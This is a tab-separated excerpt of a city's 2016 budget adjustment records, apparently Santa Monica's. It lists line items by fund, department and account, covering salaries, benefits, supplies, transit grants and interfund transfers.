21488	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	804.0	Salaries and Wages	2016	902	0	0	0	0	0	0	0	0	0	0	0	902
21489	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409140.0	PASSPORT SERV APPLICATIONS	612.0	Charges for Service	2016	-37000	0	0	0	0	0	0	0	0	0	0	0	-37000
21490	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561113.0	OPCC ACCESS CTR-PROP A	808.0	 Supplies and Expenses	2016	7400	0	0	0	0	0	0	0	0	0	0	0	7400
21491	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533211.0	FAC MAINT SVCS-WORK ORDERS	810.0	 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
21492	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544340.0	INDIRECT COST ALLOCATION	810.0	 Supplies and Expenses	2016	327823	0	0	0	0	0	0	0	0	0	0	0	327823
21493	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533213.0	FAC MAINT-PREVENTATIVE MAINT	810.0	 Supplies and Expenses	2016	103000	0	0	0	0	0	0	0	0	0	0	0	103000
21494	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561111.0	CHRYSALIS EMPLYMNT CTR-PROP A	808.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
21495	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561114.0	OPCC DAYBREAK-PROP A	808.0	 Supplies and Expenses	2016	1900	0	0	0	0	0	0	0	0	0	0	0	1900
21496	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561119.0	OPCC SOJOURN - PROP A	808.0	 Supplies and Expenses	2016	600	0	0	0	0	0	0	0	0	0	0	0	600
21497	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-SENIOR	808.0	 Supplies and Expenses	2016	3000	0	0	0	0	0	0	0	0	0	0	0	3000
21498	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2016	149	0	0	0	0	0	0	0	0	0	0	0	149
21499	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2016	12626	0	0	0	0	0	0	0	0	0	0	0	12626
21500	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		UNEMPLOYMENT	810.0	Salaries and Wages	2016	287	0	0	0	0	0	0	0	0	0	0	0	287
21501	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		DISABILITY INSURANCE	810.0	Salaries and Wages	2016	434	0	0	0	0	0	0	0	0	0	0	0	434
21502	BA	IS	20	Miscellaneous Grants Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	403110.0	TDA ARTICLE III	610.0	Intergovernmental	2016	-245000	0	0	0	0	0	0	0	0	0	0	0	-245000
21503	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511000.0	PERMANENT EMPLOYEES	808.0	Salaries and Wages	2016	1218118	0	0	0	0	0	0	0	0	0	0	0	1218118
21504	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	164063	0	0	0	0	0	0	0	0	0	0	0	164063
21505	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511748.0	DENTAL	808.0	Salaries and Wages	2016	12209	0	0	0	0	0	0	0	0	0	0	0	12209
21506	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511749.0	VISION	808.0	Salaries and Wages	2016	1385	0	0	0	0	0	0	0	0	0	0	0	1385
21507	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-9466	0	0	0	0	0	0	0	0	0	0	0	-9466
21508	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	5942	0	0	0	0	0	0	0	0	0	0	0	5942
21509	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21510	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2016	2500	0	0	0	0	0	0	0	0	0	0	0	2500
21511	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
21512	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	562300.0	SMC-PICO PARTNERSHIP	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21513	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2016	230989	0	0	0	0	0	0	0	0	0	0	0	230989
21514	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	22660	0	0	0	0	0	0	0	0	0	0	0	22660
21515	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-13319	0	0	0	0	0	0	0	0	0	0	0	-13319
21516	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE		EAP	804.0	Salaries and Wages	2016	1351	0	0	0	0	0	0	0	0	0	0	0	1351
21517	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	879	0	0	0	0	0	0	0	0	0	0	0	879
21518	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21519	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2016	517311	0	0	0	0	0	0	0	0	0	0	0	517311
21520	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	83074	0	0	0	0	0	0	0	0	0	0	0	83074
21521	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	3030	0	0	0	0	0	0	0	0	0	0	0	3030
21522	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	90059	0	0	0	0	0	0	0	0	0	0	0	90059
21523	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2016	53668	0	0	0	0	0	0	0	0	0	0	0	53668
21524	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-54426	0	0	0	0	0	0	0	0	0	0	0	-54426
21525	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	607264	0	0	0	0	0	0	0	0	0	0	0	607264
21526	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	14253	0	0	0	0	0	0	0	0	0	0	0	14253
21527	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-85679	0	0	0	0	0	0	0	0	0	0	0	-85679
21528	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	21530	0	0	0	0	0	0	0	0	0	0	0	21530
21529	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	566260.0	SPECIAL EVENTS	810.0	 Supplies and Expenses	2016	33000	0	0	0	0	0	0	0	0	0	0	0	33000
21530	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511490.0	OVERTIME	810.0	Salaries and Wages	2016	39688	0	0	0	0	0	0	0	0	0	0	0	39688
21531	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2016	1894	0	0	0	0	0	0	0	0	0	0	0	1894
21532	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	119378	0	0	0	0	0	0	0	0	0	0	0	119378
21533	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2016	10500	0	0	0	0	0	0	0	0	0	0	0	10500
21534	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	566190.0	EMPLOYEE EVENTS TEAM	804.0	 Supplies and Expenses	2016	32728	0	0	0	0	0	0	0	0	0	0	0	32728
21535	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21536	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511490.0	OVERTIME	810.0	Salaries and Wages	2016	1656	0	0	0	0	0	0	0	0	0	0	0	1656
21537	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2016	1770	0	0	0	0	0	0	0	0	0	0	0	1770
21538	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2016	62535	0	0	0	0	0	0	0	0	0	0	0	62535
21539	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2016	4100	0	0	0	0	0	0	0	0	0	0	0	4100
21540	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2016	650	0	0	0	0	0	0	0	0	0	0	0	650
21541	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533210.0	BLDG OPER / CUSTODIAL SUPPLIES	808.0	 Supplies and Expenses	2016	117000	0	0	0	0	0	0	0	0	0	0	0	117000
21542	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	12910	0	0	0	0	0	0	0	0	0	0	0	12910
21543	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511749.0	VISION	808.0	Salaries and Wages	2016	1045	0	0	0	0	0	0	0	0	0	0	0	1045
21544	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-6690	0	0	0	0	0	0	0	0	0	0	0	-6690
21545	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-20100	0	0	0	0	0	0	0	0	0	0	0	-20100
21546	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2016	690	0	0	0	0	0	0	0	0	0	0	0	690
21547	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2016	1500	0	0	0	0	0	0	0	0	0	0	0	1500
21548	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2016	32528	0	0	0	0	0	0	0	0	0	0	0	32528
21549	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2016	16838	0	0	0	0	0	0	0	0	0	0	0	16838
21550	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	76039	0	0	0	0	0	0	0	0	0	0	0	76039
21551	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511748.0	DENTAL	808.0	Salaries and Wages	2016	46459	0	0	0	0	0	0	0	0	0	0	0	46459
21552	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2016	28000	0	0	0	0	0	0	0	0	0	0	0	28000
21553	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2016	105341	0	0	0	0	0	0	0	0	0	0	0	105341
21554	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2016	24670	0	0	0	0	0	0	0	0	0	0	0	24670
21555	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	407490.0	PLAN CHECK FEES-LANDSCAPE&FORE	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21556	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-YOUTH	808.0	 Supplies and Expenses	2016	51600	0	0	0	0	0	0	0	0	0	0	0	51600
21557	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2016	20840	0	0	0	0	0	0	0	0	0	0	0	20840
21558	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511748.0	DENTAL	810.0	Salaries and Wages	2016	1322	0	0	0	0	0	0	0	0	0	0	0	1322
21559	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		EAP	810.0	Salaries and Wages	2016	106	0	0	0	0	0	0	0	0	0	0	0	106
21560	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2016	125	0	0	0	0	0	0	0	0	0	0	0	125
21561	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	522110.0	UTIL - LIGHT / POWER	810.0	 Supplies and Expenses	2016	68899	0	0	0	0	0	0	0	0	0	0	0	68899
21562	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	540590.0	EMPLOYEE RECOGNITION & APPRECI	810.0	 Supplies and Expenses	2016	30	0	0	0	0	0	0	0	0	0	0	0	30
21563	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2016	1199	0	0	0	0	0	0	0	0	0	0	0	1199
21564	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		UNEMPLOYMENT	808.0	Salaries and Wages	2016	7637	0	0	0	0	0	0	0	0	0	0	0	7637
21565	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2016	12155	0	0	0	0	0	0	0	0	0	0	0	12155
21566	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	522130.0	UTILITIES - WATER	808.0	 Supplies and Expenses	2016	136394	0	0	0	0	0	0	0	0	0	0	0	136394
21567	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2016	25031	0	0	0	0	0	0	0	0	0	0	0	25031
21568	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21569	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2016	331596	0	0	0	0	0	0	0	0	0	0	0	331596
21570	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE	808.0	 Supplies and Expenses	2016	36000	0	0	0	0	0	0	0	0	0	0	0	36000
21571	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511681.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21572	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	10016	0	0	0	0	0	0	0	0	0	0	0	10016
21573	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
21574	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511970.0	OTHER FRINGE BENEFITS	808.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21575	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EAP	808.0	Salaries and Wages	2016	744	0	0	0	0	0	0	0	0	0	0	0	744
21576	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21577	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2016	-45615	0	0	0	0	0	0	0	0	0	0	0	-45615
21578	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2016	567904	0	0	0	0	0	0	0	0	0	0	0	567904
21579	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-88494	0	0	0	0	0	0	0	0	0	0	0	-88494
21580	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE		DCAP	808.0	Salaries and Wages	2016	3094	0	0	0	0	0	0	0	0	0	0	0	3094
21581	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	544010.0	SPECIAL DEPARTMENT SUPPLIES	808.0	 Supplies and Expenses	2016	93795	0	0	0	0	0	0	0	0	0	0	0	93795
21582	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555210.0	TRAINING	810.0	 Supplies and Expenses	2016	1068	0	0	0	0	0	0	0	0	0	0	0	1068
21583	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-2603	0	0	0	0	0	0	0	0	0	0	0	-2603
21584	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	804.0	Salaries and Wages	2016	213	0	0	0	0	0	0	0	0	0	0	0	213
21585	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21586	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER OUT TO HOUSING FUND	910.0	 Supplies and Expenses	2016	460295	0	0	0	0	0	0	0	0	0	0	0	460295
21587	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561112.0	CLARE COORDINATED CASE MGMT	808.0	 Supplies and Expenses	2016	4130	0	0	0	0	0	0	0	0	0	0	0	4130
21588	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		VENICE FAMILY CLINIC-PROP A	808.0	 Supplies and Expenses	2016	3986	0	0	0	0	0	0	0	0	0	0	0	3986
21589	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409180.0	COMMERCIAL INSTRUCTION USE CHA	612.0	Charges for Service	2016	-63900	0	0	0	0	0	0	0	0	0	0	0	-63900
21590	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2016	60919	0	0	0	0	0	0	0	0	0	0	0	60919
21591	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	555060.0	PROFESSIONAL SERVICES	810.0	 Supplies and Expenses	2016	50000	0	0	0	0	0	0	0	0	0	0	0	50000
21592	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2016	24675	0	0	0	0	0	0	0	0	0	0	0	24675
21593	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS	908.0	 Supplies and Expenses	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
21594	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21595	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	555110.0	LEGAL EXPENSE	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21596	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-STORMWATER	910.0	 Supplies and Expenses	2016	723686	0	0	0	0	0	0	0	0	0	0	0	723686
21597	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	533420.0	ENGINEERING-TRANS OUT TO 01 FD	910.0	 Supplies and Expenses	2016	241202	0	0	0	0	0	0	0	0	0	0	0	241202
21598	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	408000.0	INTERFUND SERVICES-ST MAINTENA	612.0	Charges for Service	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21599	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511250.0	STANDBY PAY	840.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
21600	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2016	59127	0	0	0	0	0	0	0	0	0	0	0	59127
21601	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2016	1224000	0	0	0	0	0	0	0	0	0	0	0	1224000
21602	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2016	421096	0	0	0	0	0	0	0	0	0	0	0	421096
21603	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2016	5518	0	0	0	0	0	0	0	0	0	0	0	5518
21604	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	544193.0	CLEANING SUPPLIES		 Supplies and Expenses	2016	94027	0	0	0	0	0	0	0	0	0	0	0	94027
21605	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	563123.0	WISE SENIOR & DISAB SVCS (PALR	808.0	 Supplies and Expenses	2016	192711	0	0	0	0	0	0	0	0	0	0	0	192711
21606	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409150.0	PASSPORT SERV PHOTOS	612.0	Charges for Service	2016	-9000	0	0	0	0	0	0	0	0	0	0	0	-9000
21607	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409160.0	AGENDA PACKET SUBSCRIPTION	612.0	Charges for Service	2016	-784	0	0	0	0	0	0	0	0	0	0	0	-784
21608	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561118.0	STEP UP ON 2ND SNCTURY-PROP A	808.0	 Supplies and Expenses	2016	2600	0	0	0	0	0	0	0	0	0	0	0	2600
21609	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		PROP A LR TRANS-ARTS	808.0	 Supplies and Expenses	2016	15000	0	0	0	0	0	0	0	0	0	0	0	15000
21610	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404771.0	BIKE TRANSIT CTR CONCESSION AG	622.0	Other	2016	-65178	0	0	0	0	0	0	0	0	0	0	0	-65178
21611	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409170.0	ACTIVITY PASSPORT	612.0	Charges for Service	2016	-200	0	0	0	0	0	0	0	0	0	0	0	-200
21612	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2016	31776	0	0	0	0	0	0	0	0	0	0	0	31776
21613	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	499	BEACH MAINTENANCE	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2016	31970	0	0	0	0	0	0	0	0	0	0	0	31970
21614	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522820.0	CONFERENCES/MEETINGS/TRAVEL	808.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
21615	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2016	700	0	0	0	0	0	0	0	0	0	0	0	700
21616	BA	IS	1	General Fund	500	PUBLIC WORKS	498	PUBLIC LANDSCAPE	555210.0	TRAINING	808.0	 Supplies and Expenses	2016	2000	0	0	0	0	0	0	0	0	0	0	0	2000
